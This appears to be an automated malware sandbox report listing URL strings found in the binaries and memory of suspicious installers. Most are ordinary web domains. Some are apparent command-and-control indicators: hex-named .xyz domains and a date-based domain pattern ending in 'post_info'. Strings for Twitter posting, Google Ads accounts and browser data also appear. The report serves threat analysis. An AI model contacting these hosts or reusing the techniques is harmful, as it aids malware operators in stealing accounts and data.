Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: 6852B33702F6B3BD.exe, 00000004.00000003.304890427.0000000003D65000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293176364.000000000364F000.00000004.00000001.sdmp	String found in binary or memory: http://www.interestvideo.com/video1.php
Source: 6852B33702F6B3BD.exe, 00000004.00000003.305037928.0000000003CB2000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://www.msn.com
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://www.msn.com/
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://www.msn.com/?ocid=iehp
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehp
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/consent/55a804
Source: ecvAA35.tmp.11.dr	String found in binary or memory: http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/scripttemplate
Source: 1611946678493.exe, 0000000B.00000002.283027571.0000000000198000.00000004.00000010.sdmp	String found in binary or memory: http://www.nirsoft.net
Source: 1611946678493.exe, 1611946678493.exe.4.dr	String found in binary or memory: http://www.nirsoft.net/
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: FileSetup-v17.04.41.exe, download_engine.dll.4.dr	String found in binary or memory: http://www.openssl.org/support/faq.html....................
Source: download_engine.dll.4.dr	String found in binary or memory: http://www.xunlei.com/
Source: download_engine.dll.4.dr	String found in binary or memory: http://www.xunlei.com/GET
Source: 6852B33702F6B3BD.exe	String found in binary or memory: http://www.youtube.com
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: http://www.youtube.com//a
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: http://www.youtube.comz/
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4476872748356;g
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=68568119166
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=1463674
Source: 6852B33702F6B3BD.exe, 00000004.00000003.383784768.0000000002227000.00000004.00000040.sdmp	String found in binary or memory: https://A5D4CE54CC78B3CA.xyz/
Source: 6852B33702F6B3BD.exe, 00000004.00000003.324597044.0000000000792000.00000004.00000001.sdmp, Localwebdata1611946694399.4.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://accounts.google.com
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/_/rpc/GaiaInfoService/Get?authuser=0&rpcTrackingId=GaiaInfoService.Get%3A
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/_/rpc/UserByGaiaService/Get?authuser=0&rpcTrackingId=UserByGaiaService.Ge
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/_/rpc/UserCustomerAccessService/List?authuser=0&rpcTrackingId=UserCustome
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/selectaccount
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/selectaccountocation:
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.comsec-fetch-dest:
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=6856811916691;gt
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=6856811916691;gtm=
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingth
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://amp.azure.net/libs/amp/1.8.0/azuremediaplayer.min.js
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://api.twitter.com/1.1/statuses/update.json
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://api.twitter.com/1.1/statuses/update.jsoninclude_profile_interstitial_type=1&include_blocking
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://apis.google.com
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://arc.msn.com/v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC54c8a2b02c3446f48a60b41e8a5ff47
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC5bdddb231cf54f958a5b6e76e9d8eee
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC828bc1cde9f04b788c98b5423157734
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC9b2d2bc73c8a4a1d8dd5c3d69b6634a
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc13122162a9a46c3b4cbf05ffccde0f
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc71c68d7b8f049b6a6f3b669bd5d00c
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCee0d4d5fd4424c8390d703b105f82c3
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCfd484f9188564713bbc5d13d862ebbf
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/launch-EN7b3d710ac67a4a1195648458258f97dd.min.js
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://az416426.vo.msecnd.net/scripts/a/ai.0.js
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://az725175.vo.msecnd.net/scripts/jsll-4.js
Source: 6852B33702F6B3BD.exe, 00000004.00000003.324597044.0000000000792000.00000004.00000001.sdmp, Localwebdata1611946694399.4.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 6852B33702F6B3BD.exe, 00000005.00000003.287736856.0000000002372000.00000004.00000040.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: 6852B33702F6B3BD.exe, 00000005.00000003.277967504.0000000003E5B000.00000004.00000001.sdmp, background.js.5.dr	String found in binary or memory: https://chrome.google.com/webstore/category/extension
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278524081.000000000237C000.00000004.00000001.sdmp	String found in binary or memory: https://chrome.google.com/webstoreAAjb
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://clients2.google.com/service/update2/cr
Source: 6852B33702F6B3BD.exe, 00000005.00000003.287876756.0000000003DD0000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000003.287851020.0000000003DDB000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000003.287736856.0000000002372000.00000004.00000040.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 6852B33702F6B3BD.exe, 00000005.00000003.287833605.000000000237D000.00000004.00000001.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx1
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx:-
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxI
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxp1M
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://content.googleapis.com
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://contextual.media.net/
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://contextual.media.net/48/nrrV18753.js
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://contextual.media.net/803288796/fcmain.js?&gdpr=0&cid=8CU157172&cpcd=pC3JHgSCqY8UHihgrvGr0A%3
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386867102.000000000340F000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293176364.000000000364F000.00000004.00000001.sdmp	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://cvision.media.net/new/300x300/3/167/174/27/39ab3103-8560-4a55-bfc4-401f897cf6f2.jpg?v=9
Source: FileSetup-v17.04.41.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: FileSetup-v17.04.41.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD3B6173
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.278094503.0000000003E07000.00000004.00000001.sdmp	String found in binary or memory: https://docs.google.com/
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: https://docs.google.com/C/u
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.278094503.0000000003E07000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://drive.google.com/?usp=chrome_app
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/?usp=chrome_appk/B
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/F/x
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://drive.google.com/drive/settings
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/drive/settingsawl7
Source: 6852B33702F6B3BD.exe, 00000004.00000003.324597044.0000000000792000.00000004.00000001.sdmp, Localwebdata1611946694399.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 6852B33702F6B3BD.exe, 00000004.00000003.324597044.0000000000792000.00000004.00000001.sdmp, Localwebdata1611946694399.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 6852B33702F6B3BD.exe, 00000004.00000003.324597044.0000000000792000.00000004.00000001.sdmp, Localwebdata1611946694399.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://exchangework%04d%02d%02d.xyz/http://changenewsys%04d%02d%02d.xyz/post_info.
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://feedback.googleusercontent.com
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Google
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.googleapis.com;
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v16/4UaGrENHsxJlGDuGo1OIlI3K.woff
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v16/4UabrENHsxJlGDuGo1OIlLU94bt3.woff
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmEU9vAA.woff
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Me5g.woff
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: 6852B33702F6B3BD.exe, 00000005.00000002.289473954.000000000087B000.00000004.00000020.sdmp	String found in binary or memory: https://fsfba021a5a6662.xyz/
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://hangouts.google.com/
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4DnuZ
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4Dnv6
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4Dnwt
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4DsDH
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmQ
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmV
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmZ
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FGwC
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4n1yl
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4n4cm
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ncJ7
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ncJa
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4nqTh
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4sQww?ver=37ff
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tD2S
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tG3O
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tIoW
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tIoY
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tKUA
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tMOD
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tMOM
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tQVa
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4u1kF
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ubMD
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4wqj5
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4zuiC
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1601452923&rver=6.0.5286.0&wp=MBI_SSL&wre
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28666.10/content/images/ellipsis_white_5ac590ee72bfe06a7cecfd75b5
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28666.10/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc1937
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v21033_-0mnSwu67knBd7qR7YN9GQ2.css
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en_5QoHC_ilFOmb96M0pIeJ
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/OldConvergedLogin_PCore_xqcDwEKeDux9oCNjuqEZ-A2.js
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://mail.google.com/mail
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://mail.google.com/mail/#settings
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://maps.windows.com/windows-app-web-link
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://mwf-service.akamaized.net/mwf/css/bundle/1.57.0/west-european/default/mwf-main.min.css
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://mwf-service.akamaized.net/mwf/js/bundle/1.57.0/mwf-auto-init-main.var.min.js
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2020-07-22-21-45-19/PreSignInSettingsConfig.json
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2020-07-24-17-35-16/PreSignInSettingsConfig.json?One
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/20.124.0621.0006/update10.xml?OneDriveUpdate=79d8737dc86cbccc6833c
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://onecs-live.azureedge.net/api/settings/en-US/xml/settings-tipset?release=rs4
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: https://payments.google.com/
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.jstW2
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://pki.goog/repository/0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://prod-video-cms-rt-microsoft-com.akamaized.net/vhs/api/videos/RE4sQBc
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://sandbox.google.com/
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integr
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.jsuSS4
Source: 6852B33702F6B3BD.exe, 00000004.00000003.324597044.0000000000792000.00000004.00000001.sdmp, Localwebdata1611946694399.4.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 6852B33702F6B3BD.exe, 00000004.00000003.324597044.0000000000792000.00000004.00000001.sdmp, Localwebdata1611946694399.4.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://srtb.msn.com/auction?a=de-ch&b=a8415ac9f9644a1396bc1648a4599445&c=MSN&d=http%3A%2F%2Fwww.msn
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://statics-marketingsites-neu-ms-com.akamaized.net/statics/override.css?c=7
Source: 6852B33702F6B3BD.exe, 00000004.00000003.383784768.0000000002227000.00000004.00000040.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_
Source: 6852B33702F6B3BD.exe, 00000004.00000003.305023752.0000000003CBF000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: 6852B33702F6B3BD.exe, 00000004.00000003.305023752.0000000003CBF000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx8(
Source: 6852B33702F6B3BD.exe, 00000004.00000003.304977853.0000000003D4F000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: 6852B33702F6B3BD.exe, 00000004.00000003.383740567.0000000003CA0000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: 6852B33702F6B3BD.exe, 00000004.00000003.383740567.0000000003CA0000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_javal
Source: 6852B33702F6B3BD.exe, 00000004.00000003.305037928.0000000003CB2000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: 6852B33702F6B3BD.exe, 00000004.00000003.305037928.0000000003CB2000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: 6852B33702F6B3BD.exe, 00000004.00000003.304977853.0000000003D4F000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/compose/tweetsec-fetch-dest:
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/compose/tweetsec-fetch-mode:
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/ookie:
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.comReferer:
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.comsec-fetch-dest:
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.json
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.json%dcommand=INIT&total_bytes=&media_type=image%2Fjpeg&me
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.json?command=APPEND&media_id=%s&segment_index=0
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.json?command=APPEND&media_id=%s&segment_index=0accept:
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.jsoncommand=FINALIZE&media_id=
